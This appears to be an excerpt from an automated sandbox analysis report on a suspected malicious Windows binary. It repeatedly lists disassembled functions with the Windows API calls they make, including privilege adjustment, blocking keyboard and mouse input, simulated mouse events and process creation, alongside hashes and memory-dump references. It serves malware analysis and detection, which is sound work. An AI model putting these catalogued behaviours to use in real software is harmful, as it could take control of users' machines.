                                      • Associated: 00000000.00000002.1740772286.0000000000972000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.000000000097C000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.000000000098A000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.00000000009EE000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740977152.00000000009F4000.00000080.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1741011992.00000000009F5000.00000004.00000001.01000000.00000003.sdmpDownload File
                                      Joe Sandbox IDA Plugin
                                      • Snapshot File: hcaresult_0_2_8b0000_SecuriteInfo.jbxd
                                      Similarity
                                      • API ID: ErrorFormatLastMessage
                                      • String ID:
                                      • API String ID: 3479602957-0
                                      • Opcode ID: 99976e21ec1dd9aada5004a618a5ddbc73cebe737c601f37dd166022637323fc
                                      • Instruction ID: 4bf4cddbe062f3cb15fa339d0d6701a7f96bb7f003f132d615ce835a6af1b858
                                      • Opcode Fuzzy Hash: 99976e21ec1dd9aada5004a618a5ddbc73cebe737c601f37dd166022637323fc
                                      • Instruction Fuzzy Hash: 26F0E5B42152297AEF2027B99C8DFEB3A6EFFC5761F000165F505D2281DAA0DD00C7B1
                                      Function 009492F2 Relevance: 3.0, APIs: 2, Instructions: 32nativeCOMMON
                                      Download Yara Rule
                                      APIs
                                      • ClientToScreen.USER32(?,?), ref: 00949315
                                      • NtdllDialogWndProc_W.NTDLL(?,00000200,?,00000000,?,?,00000000,00000000,?,00908129,?,?,?,?,?), ref: 0094933E
                                      Memory Dump Source
                                      • Source File: 00000000.00000002.1740772286.00000000008B1000.00000040.00000001.01000000.00000003.sdmp, Offset: 008B0000, based on PE: true
                                      • Associated: 00000000.00000002.1740732061.00000000008B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.0000000000972000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.000000000097C000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.000000000098A000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.00000000009EE000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740977152.00000000009F4000.00000080.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1741011992.00000000009F5000.00000004.00000001.01000000.00000003.sdmpDownload File
                                      Joe Sandbox IDA Plugin
                                      • Snapshot File: hcaresult_0_2_8b0000_SecuriteInfo.jbxd
                                      Similarity
                                      • API ID: ClientDialogNtdllProc_Screen
                                      • String ID:
                                      • API String ID: 3420055661-0
                                      • Opcode ID: a2634b32ca686928a2715a5f7e44fd24c31f2d0550b5d34406c8bd8104a46204
                                      • Instruction ID: 219d4d98a43f15567428a7b9294d48b0386ae2c7c91630c6c93c4d067538d56e
                                      • Opcode Fuzzy Hash: a2634b32ca686928a2715a5f7e44fd24c31f2d0550b5d34406c8bd8104a46204
                                      • Instruction Fuzzy Hash: 41F05EB6411218FFEF048F41DC09DAE7FB8FF45351F00415AF902A2160D371AA50EB60
                                      Function 00911003 Relevance: 3.0, APIs: 2, Instructions: 24COMMON
                                      Download Yara Rule
                                      APIs
                                      • AdjustTokenPrivileges.ADVAPI32(?,00000000,?,00000000,00000000,00000000,?,00911140), ref: 00911018
                                      • CloseHandle.KERNEL32(?,?,00911140), ref: 0091102D
                                      Memory Dump Source
                                      • Source File: 00000000.00000002.1740772286.00000000008B1000.00000040.00000001.01000000.00000003.sdmp, Offset: 008B0000, based on PE: true
                                      • Associated: 00000000.00000002.1740732061.00000000008B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.0000000000972000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.000000000097C000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.000000000098A000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.00000000009EE000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740977152.00000000009F4000.00000080.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1741011992.00000000009F5000.00000004.00000001.01000000.00000003.sdmpDownload File
                                      Joe Sandbox IDA Plugin
                                      • Snapshot File: hcaresult_0_2_8b0000_SecuriteInfo.jbxd
                                      Similarity
                                      • API ID: AdjustCloseHandlePrivilegesToken
                                      • String ID:
                                      • API String ID: 81990902-0
                                      • Opcode ID: 790915b3b352084bf2ef332e33959966e67701c809b116f4ba67f00ed80868ae
                                      • Instruction ID: 081e72d124776f5350349749f4e7e477a6bd1e73c63acfd891e0afce7bff2658
                                      • Opcode Fuzzy Hash: 790915b3b352084bf2ef332e33959966e67701c809b116f4ba67f00ed80868ae
                                      • Instruction Fuzzy Hash: 5CE04F72018600EEF7652B14EC05F727BA9FB04310B14882DF69680471DB72ACD0EB10
                                      Function 0094942C Relevance: 3.0, APIs: 2, Instructions: 21nativeCOMMON
                                      Download Yara Rule
                                      APIs
                                      • GetWindowLongW.USER32(?,000000EC), ref: 00949434
                                      • NtdllDialogWndProc_W.NTDLL(?,00000084,00000000,?,?,009080B8,?,?,?,?), ref: 0094945E
                                      Memory Dump Source
                                      • Source File: 00000000.00000002.1740772286.00000000008B1000.00000040.00000001.01000000.00000003.sdmp, Offset: 008B0000, based on PE: true
                                      • Associated: 00000000.00000002.1740732061.00000000008B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.0000000000972000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.000000000097C000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.000000000098A000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.00000000009EE000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740977152.00000000009F4000.00000080.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1741011992.00000000009F5000.00000004.00000001.01000000.00000003.sdmpDownload File
                                      Joe Sandbox IDA Plugin
                                      • Snapshot File: hcaresult_0_2_8b0000_SecuriteInfo.jbxd
                                      Similarity
                                      • API ID: DialogLongNtdllProc_Window
                                      • String ID:
                                      • API String ID: 2065330234-0
                                      • Opcode ID: fc344c13b63c598af2819c26d54379bd387a79e70c2b4052daa94eef7fd762db
                                      • Instruction ID: 3b19cbe6db692b2973c04e903af646e960eae9a940c0a750ae50361080994de7
                                      • Opcode Fuzzy Hash: fc344c13b63c598af2819c26d54379bd387a79e70c2b4052daa94eef7fd762db
                                      • Instruction Fuzzy Hash: 6FE08CB0108228BAEB240F19DC0AFBA3B18EB01BA1F10C515F916980E1D7B59890E660
                                      Function 008BE3F0 Relevance: 1.9, Strings: 1, Instructions: 659COMMON
                                      Download Yara Rule
                                      Strings
                                      • Variable is not of type 'Object'., xrefs: 0090181B
                                      Memory Dump Source
                                      • Source File: 00000000.00000002.1740772286.00000000008B1000.00000040.00000001.01000000.00000003.sdmp, Offset: 008B0000, based on PE: true
                                      • Associated: 00000000.00000002.1740732061.00000000008B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.0000000000972000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.000000000097C000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.000000000098A000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.00000000009EE000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740977152.00000000009F4000.00000080.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1741011992.00000000009F5000.00000004.00000001.01000000.00000003.sdmpDownload File
                                      Joe Sandbox IDA Plugin
                                      • Snapshot File: hcaresult_0_2_8b0000_SecuriteInfo.jbxd
                                      Similarity
                                      • API ID:
                                      • String ID: Variable is not of type 'Object'.
                                      • API String ID: 0-1840281001
                                      • Opcode ID: a7ee5b6ec98ad3c7ee2cabb1dee76eb395da70175b5a61aa131ce14ee0db7ecd
                                      • Instruction ID: bf0cdf8a3e5979b4d634d3af2a6373aeb760e84e02ff1fb70e5b7896cc5370ea
                                      • Opcode Fuzzy Hash: a7ee5b6ec98ad3c7ee2cabb1dee76eb395da70175b5a61aa131ce14ee0db7ecd
                                      • Instruction Fuzzy Hash: 9C329B74900218DFDF24DF94C895AEDB7B9FF15308F148069E806AB392DB35AE49CB61
                                      Function 008E66FB Relevance: 1.8, APIs: 1, Instructions: 269COMMONLIBRARYCODE
                                      Download Yara Rule
                                      APIs
                                      • RaiseException.KERNEL32(C000000D,00000000,00000001,00000000,?,00000008,?,?,008E66F6,00000000,?,00000008,?,?,008EFE9F,00000000), ref: 008E6928
                                      Memory Dump Source
                                      • Source File: 00000000.00000002.1740772286.00000000008B1000.00000040.00000001.01000000.00000003.sdmp, Offset: 008B0000, based on PE: true
                                      • Associated: 00000000.00000002.1740732061.00000000008B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.0000000000972000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.000000000097C000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.000000000098A000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.00000000009EE000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740977152.00000000009F4000.00000080.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1741011992.00000000009F5000.00000004.00000001.01000000.00000003.sdmpDownload File
                                      Joe Sandbox IDA Plugin
                                      • Snapshot File: hcaresult_0_2_8b0000_SecuriteInfo.jbxd
                                      Similarity
                                      • API ID: ExceptionRaise
                                      • String ID:
                                      • API String ID: 3997070919-0
                                      • Opcode ID: 9bb834eefb127a3e9d0d05327a775e3928b4233dc452900f7ba65f3cac0d354f
                                      • Instruction ID: 4184e947faed91f982b93ee9accad137c248bdee6f0cd6fdc6f4accc4824d511
                                      • Opcode Fuzzy Hash: 9bb834eefb127a3e9d0d05327a775e3928b4233dc452900f7ba65f3cac0d354f
                                      • Instruction Fuzzy Hash: 68B16C31510648DFD715CF29C48AB647FE0FF563A8F258658E899CF2A2D335E9A1CB40
                                      Function 0094A1F1 Relevance: 1.6, APIs: 1, Instructions: 68nativeCOMMON
                                      Download Yara Rule
                                      APIs
                                        • Part of subcall function 008CB021: GetWindowLongW.USER32(?,000000EB), ref: 008CB032
                                      • NtdllDialogWndProc_W.NTDLL(?,00000112,?,?), ref: 0094A2A9
                                      Memory Dump Source
                                      • Source File: 00000000.00000002.1740772286.00000000008B1000.00000040.00000001.01000000.00000003.sdmp, Offset: 008B0000, based on PE: true
                                      • Associated: 00000000.00000002.1740732061.00000000008B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.0000000000972000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.000000000097C000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.000000000098A000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.00000000009EE000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740977152.00000000009F4000.00000080.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1741011992.00000000009F5000.00000004.00000001.01000000.00000003.sdmpDownload File
                                      Joe Sandbox IDA Plugin
                                      • Snapshot File: hcaresult_0_2_8b0000_SecuriteInfo.jbxd
                                      Similarity
                                      • API ID: DialogLongNtdllProc_Window
                                      • String ID:
                                      • API String ID: 2065330234-0
                                      • Opcode ID: 455c76071661ade12af2ea241d7b962cc0162908686da1ec872d0add373daa08
                                      • Instruction ID: f9f2bd1478b2f0c79b5d2a023af5b251f56d5e6d9581924166984d1a7a8d8e8b
                                      • Opcode Fuzzy Hash: 455c76071661ade12af2ea241d7b962cc0162908686da1ec872d0add373daa08
                                      • Instruction Fuzzy Hash: F41108302881156AFB295B2CCD1AF79375CFB81B20F204318F931592E6CBEA5D41F366
                                      Function 00948D1E Relevance: 1.5, APIs: 1, Instructions: 49windownativeCOMMON
                                      Download Yara Rule
                                      APIs
                                      • NtdllDialogWndProc_W.NTDLL(?,00000111,?,?,?,?,?), ref: 00948D0F
                                      • GetMenuItemInfoW.USER32(?,?,?,?), ref: 00948DC1
                                      • GetMenuItemCount.USER32(?), ref: 00948DDE
                                      • GetMenuItemID.USER32(?), ref: 00948DEE
                                      • GetMenuItemInfoW.USER32(?,?,00000001,?), ref: 00948E20
                                      • GetMenuItemInfoW.USER32(?,?,00000001,?), ref: 00948E62
                                      • CheckMenuRadioItem.USER32(?,?,?,?,00000400), ref: 00948E93
                                        • Part of subcall function 00947D90: IsWindow.USER32(00BB23A0), ref: 00947E29
                                        • Part of subcall function 00947D90: IsWindowEnabled.USER32(00BB23A0), ref: 00947E35
                                      Memory Dump Source
                                      • Source File: 00000000.00000002.1740772286.00000000008B1000.00000040.00000001.01000000.00000003.sdmp, Offset: 008B0000, based on PE: true
                                      • Associated: 00000000.00000002.1740732061.00000000008B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.0000000000972000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.000000000097C000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.000000000098A000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.00000000009EE000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740977152.00000000009F4000.00000080.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1741011992.00000000009F5000.00000004.00000001.01000000.00000003.sdmpDownload File
                                      Joe Sandbox IDA Plugin
                                      • Snapshot File: hcaresult_0_2_8b0000_SecuriteInfo.jbxd
                                      Similarity
                                      • API ID: ItemMenu$Info$Window$CheckCountDialogEnabledNtdllProc_Radio
                                      • String ID:
                                      • API String ID: 3350703-0
                                      • Opcode ID: ac4c6a21ac8f8911fb52a21467647744b5215ccda19a452ece0f3150b0d2a655
                                      • Instruction ID: 8d79bee0ccd11a18d4da26d3dda8a31fa649c8fd512f6d5a9698caa5259f3bf1
                                      • Opcode Fuzzy Hash: ac4c6a21ac8f8911fb52a21467647744b5215ccda19a452ece0f3150b0d2a655
                                      • Instruction Fuzzy Hash: 0401CCB190A2059BEB04CE18D980DBF77E8FB943A1F10096EFD9497280DB70C8009BA1
                                      Function 009486A4 Relevance: 1.5, APIs: 1, Instructions: 36COMMON
                                      Download Yara Rule
                                      APIs
                                        • Part of subcall function 008CADC4: GetWindowLongW.USER32(?,000000EB), ref: 008CADD2
                                      • CallWindowProcW.USER32(?,?,00000020,?,?), ref: 009486E5
                                      Memory Dump Source
                                      • Source File: 00000000.00000002.1740772286.00000000008B1000.00000040.00000001.01000000.00000003.sdmp, Offset: 008B0000, based on PE: true
                                      • Associated: 00000000.00000002.1740732061.00000000008B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.0000000000972000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.000000000097C000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.000000000098A000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.00000000009EE000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740977152.00000000009F4000.00000080.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1741011992.00000000009F5000.00000004.00000001.01000000.00000003.sdmpDownload File
                                      Joe Sandbox IDA Plugin
                                      • Snapshot File: hcaresult_0_2_8b0000_SecuriteInfo.jbxd
                                      Similarity
                                      • API ID: Window$CallLongProc
                                      • String ID:
                                      • API String ID: 4084987330-0
                                      • Opcode ID: a3b7df50d50a4830128d31a70803e6514b19d1edefeacf654b10f3dedad4c457
                                      • Instruction ID: d613f012eb3971e6eb2dace6b86cd53a98cdeec6d58257f27c0f2f142303c2f2
                                      • Opcode Fuzzy Hash: a3b7df50d50a4830128d31a70803e6514b19d1edefeacf654b10f3dedad4c457
                                      • Instruction Fuzzy Hash: 6BF04935114008EFCF459F54EC14DBE3BB9EB0A360B004514FA119A6B1CB32ECA0EB90
                                      Function 0094899C Relevance: 1.5, APIs: 1, Instructions: 29nativeCOMMON
                                      Download Yara Rule
                                      APIs
                                        • Part of subcall function 008CB021: GetWindowLongW.USER32(?,000000EB), ref: 008CB032
                                        • Part of subcall function 008CEA9A: GetCursorPos.USER32(?), ref: 008CEAAE
                                        • Part of subcall function 008CEA9A: ScreenToClient.USER32(?,?), ref: 008CEACB
                                        • Part of subcall function 008CEA9A: GetAsyncKeyState.USER32(00000001), ref: 008CEB02
                                        • Part of subcall function 008CEA9A: GetAsyncKeyState.USER32(00000002), ref: 008CEB1C
                                      • NtdllDialogWndProc_W.NTDLL(?,00000204,?,?,00000001,?,?,?,009081D5,?,?,?,?,?,00000001,?), ref: 009489EA
                                      Memory Dump Source
                                      • Source File: 00000000.00000002.1740772286.00000000008B1000.00000040.00000001.01000000.00000003.sdmp, Offset: 008B0000, based on PE: true
                                      • Associated: 00000000.00000002.1740732061.00000000008B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.0000000000972000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.000000000097C000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.000000000098A000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.00000000009EE000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740977152.00000000009F4000.00000080.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1741011992.00000000009F5000.00000004.00000001.01000000.00000003.sdmpDownload File
                                      Joe Sandbox IDA Plugin
                                      • Snapshot File: hcaresult_0_2_8b0000_SecuriteInfo.jbxd
                                      Similarity
                                      • API ID: AsyncState$ClientCursorDialogLongNtdllProc_ScreenWindow
                                      • String ID:
                                      • API String ID: 2356834413-0
                                      • Opcode ID: 32a3aa587a37800b7a3d92e05016d9caeb69190b65b3c3fd960babdb97652de1
                                      • Instruction ID: 8e766eff024ca9089ed88a1912585edf6ab2cd15e2a01a51bd743d23ec3964b0
                                      • Opcode Fuzzy Hash: 32a3aa587a37800b7a3d92e05016d9caeb69190b65b3c3fd960babdb97652de1
                                      • Instruction Fuzzy Hash: E2F0A730100228ABDB146F59D81AEBF3F65FB00790F104015F8151A292CB769DA1EBE2
                                      Function 008CA5C7 Relevance: 1.5, APIs: 1, Instructions: 27nativeCOMMON
                                      Download Yara Rule
                                      APIs
                                        • Part of subcall function 008CB021: GetWindowLongW.USER32(?,000000EB), ref: 008CB032
                                      • NtdllDialogWndProc_W.NTDLL(?,00000006,?,?,?), ref: 008CA60B
                                      Memory Dump Source
                                      • Source File: 00000000.00000002.1740772286.00000000008B1000.00000040.00000001.01000000.00000003.sdmp, Offset: 008B0000, based on PE: true
                                      • Associated: 00000000.00000002.1740732061.00000000008B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.0000000000972000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.000000000097C000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.000000000098A000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.00000000009EE000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740977152.00000000009F4000.00000080.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1741011992.00000000009F5000.00000004.00000001.01000000.00000003.sdmpDownload File
                                      Joe Sandbox IDA Plugin
                                      • Snapshot File: hcaresult_0_2_8b0000_SecuriteInfo.jbxd
                                      Similarity
                                      • API ID: DialogLongNtdllProc_Window
                                      • String ID:
                                      • API String ID: 2065330234-0
                                      • Opcode ID: a77d4b3056c264680ad5ecb6fbdb979301751db6567dcb79fcc6edd6737cda65
                                      • Instruction ID: 235295a5493abc368f0b87474a07aef3a97732200d75aa47cf494e99922e5fd4
                                      • Opcode Fuzzy Hash: a77d4b3056c264680ad5ecb6fbdb979301751db6567dcb79fcc6edd6737cda65
                                      • Instruction Fuzzy Hash: 5EF082301042089FDB1C8F55D852E763B76FB41354F20811CF8124A3E1DB33D992EB51
                                      Function 0092E9C9 Relevance: 1.5, APIs: 1, Instructions: 25keyboardCOMMON
                                      Download Yara Rule
                                      APIs
                                      • BlockInput.USER32(00000001), ref: 0092E9E4
                                      Memory Dump Source
                                      • Source File: 00000000.00000002.1740772286.00000000008B1000.00000040.00000001.01000000.00000003.sdmp, Offset: 008B0000, based on PE: true
                                      • Associated: 00000000.00000002.1740732061.00000000008B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.0000000000972000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.000000000097C000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.000000000098A000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.00000000009EE000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740977152.00000000009F4000.00000080.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1741011992.00000000009F5000.00000004.00000001.01000000.00000003.sdmpDownload File
                                      Joe Sandbox IDA Plugin
                                      • Snapshot File: hcaresult_0_2_8b0000_SecuriteInfo.jbxd
                                      Similarity
                                      • API ID: BlockInput
                                      • String ID:
                                      • API String ID: 3456056419-0
                                      • Opcode ID: 9cf369dcec5c47ffd54a95d2d0d0800da437982bb48539550e0dd5e5f3629464
                                      • Instruction ID: e2cc35bc2e50f09236ca2b69064e8103736f7812033289eed92f12feb8d4f6f1
                                      • Opcode Fuzzy Hash: 9cf369dcec5c47ffd54a95d2d0d0800da437982bb48539550e0dd5e5f3629464
                                      • Instruction Fuzzy Hash: 8AE0DF352102109FC350AF69E841E9AB7ECFF98760F148427FD09D7310CA70EC408B91
                                      Function 0091E2A5 Relevance: 1.5, APIs: 1, Instructions: 24COMMON
                                      Download Yara Rule
                                      APIs
                                      • mouse_event.USER32(00000004,00000000,00000000,00000000,00000000), ref: 0091E2CE
                                      Memory Dump Source
                                      • Source File: 00000000.00000002.1740772286.00000000008B1000.00000040.00000001.01000000.00000003.sdmp, Offset: 008B0000, based on PE: true
                                      • Associated: 00000000.00000002.1740732061.00000000008B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.0000000000972000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.000000000097C000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.000000000098A000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.00000000009EE000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740977152.00000000009F4000.00000080.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1741011992.00000000009F5000.00000004.00000001.01000000.00000003.sdmpDownload File
                                      Joe Sandbox IDA Plugin
                                      • Snapshot File: hcaresult_0_2_8b0000_SecuriteInfo.jbxd
                                      Similarity
                                      • API ID: mouse_event
                                      • String ID:
                                      • API String ID: 2434400541-0
                                      • Opcode ID: c0672452bd777ba06e4bff077165598c1bc62939f530446b3e72c72d05fb8eeb
                                      • Instruction ID: 736fa88123e11433bb5e828578b11a590d9e25577fff878015a8dcf5443f0af0
                                      • Opcode Fuzzy Hash: c0672452bd777ba06e4bff077165598c1bc62939f530446b3e72c72d05fb8eeb
                                      • Instruction Fuzzy Hash: 26D012B535410878E87D8A38C93FFF6050CA702751F440E49BA31C75D0D5F5A9806025
                                      Function 00949272 Relevance: 1.5, APIs: 1, Instructions: 24nativeCOMMON
                                      Download Yara Rule
                                      APIs
                                      • NtdllDialogWndProc_W.NTDLL(?,00000232,?,?), ref: 009492B2
                                      Memory Dump Source
                                      • Source File: 00000000.00000002.1740772286.00000000008B1000.00000040.00000001.01000000.00000003.sdmp, Offset: 008B0000, based on PE: true
                                      • Associated: 00000000.00000002.1740732061.00000000008B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.0000000000972000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.000000000097C000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.000000000098A000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.00000000009EE000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740977152.00000000009F4000.00000080.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1741011992.00000000009F5000.00000004.00000001.01000000.00000003.sdmpDownload File
                                      Joe Sandbox IDA Plugin
                                      • Snapshot File: hcaresult_0_2_8b0000_SecuriteInfo.jbxd
                                      Similarity
                                      • API ID: DialogNtdllProc_
                                      • String ID:
                                      • API String ID: 3239928679-0
                                      • Opcode ID: d1199459d04bd4b584042ceda9eb3f980cfc39f959f417bb129b7afa89a7838f
                                      • Instruction ID: e7f16064c0915447b66bde6b80c8433b8f29f0d803c32f083bd7fbc5c91e7243
                                      • Opcode Fuzzy Hash: d1199459d04bd4b584042ceda9eb3f980cfc39f959f417bb129b7afa89a7838f
                                      • Instruction Fuzzy Hash: 80F06D31605354BFDB21DF58DC05FC63BA9EB06360F144048FA25272E1CB717960E760
                                      Function 008CA61C Relevance: 1.5, APIs: 1, Instructions: 18nativeCOMMON
                                      Download Yara Rule
                                      APIs
                                        • Part of subcall function 008CB021: GetWindowLongW.USER32(?,000000EB), ref: 008CB032
                                      • NtdllDialogWndProc_W.NTDLL(?,00000007,?,00000000,00000000,?,?), ref: 008CA64A
                                      Memory Dump Source
                                      • Source File: 00000000.00000002.1740772286.00000000008B1000.00000040.00000001.01000000.00000003.sdmp, Offset: 008B0000, based on PE: true
                                      • Associated: 00000000.00000002.1740732061.00000000008B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.0000000000972000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.000000000097C000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.000000000098A000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.00000000009EE000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740977152.00000000009F4000.00000080.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1741011992.00000000009F5000.00000004.00000001.01000000.00000003.sdmpDownload File
                                      Joe Sandbox IDA Plugin
                                      • Snapshot File: hcaresult_0_2_8b0000_SecuriteInfo.jbxd
                                      Similarity
                                      • API ID: DialogLongNtdllProc_Window
                                      • String ID:
                                      • API String ID: 2065330234-0
                                      • Opcode ID: 7aecac5e30c588dfe390faf462c7cec76f5f41901be84129be7f208c052b9d33
                                      • Instruction ID: ffa7ec253385090361aeb03d41e00e9d5f88317b65ab8cc060c5fddac10d0120
                                      • Opcode Fuzzy Hash: 7aecac5e30c588dfe390faf462c7cec76f5f41901be84129be7f208c052b9d33
                                      • Instruction Fuzzy Hash: 2DE0C234104208FBDF08AF90DC12F683B3AFB49354F108048FA155A3A2CB37E5A2EB11
                                      Function 009492BD Relevance: 1.5, APIs: 1, Instructions: 18nativeCOMMON
                                      Download Yara Rule
                                      APIs
                                      • NtdllDialogWndProc_W.NTDLL(?,00000053,?,?,?,009080E0,?,?,?,?,?,?), ref: 009492E8
                                        • Part of subcall function 00948064: CreateProcessW.KERNEL32(00000000,?,00000000,00000000,00000000,00000020,00000000,00000000,00983008,0098304C), ref: 009480B1
                                        • Part of subcall function 00948064: CloseHandle.KERNEL32 ref: 009480C3
                                      Memory Dump Source
                                      • Source File: 00000000.00000002.1740772286.00000000008B1000.00000040.00000001.01000000.00000003.sdmp, Offset: 008B0000, based on PE: true
                                      • Associated: 00000000.00000002.1740732061.00000000008B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.0000000000972000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.000000000097C000.00000040.00000001.01000000.00000003.sdmpDownload File
